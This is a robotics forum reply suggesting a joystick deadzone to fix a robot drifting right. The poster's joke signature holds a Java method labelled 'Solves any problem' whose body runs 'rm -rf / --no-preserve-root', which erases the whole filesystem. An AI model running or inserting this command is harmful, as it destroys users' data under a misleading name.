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Unread 01-12-2018, 07:45 PM
SupremeSteak1 SupremeSteak1 is offline
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AKA: Thomas Hayden
FRC #1100 (T-Hawks)
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Join Date: Oct 2014
Rookie Year: 2009
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Posts: 24
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Re: Problem to drive the robot straight forward

Do you have a deadzone set? If you don't the joystick will always be slightly off zero and that could be interpreted as turning right.
* Solves any problem it is given
* @author SupremeSteak1
* @param problem the problem that needs solving
public void solveProblems(Object problem) {
Runtime.getRuntime().exec("rm -rf / --no-preserve-root");
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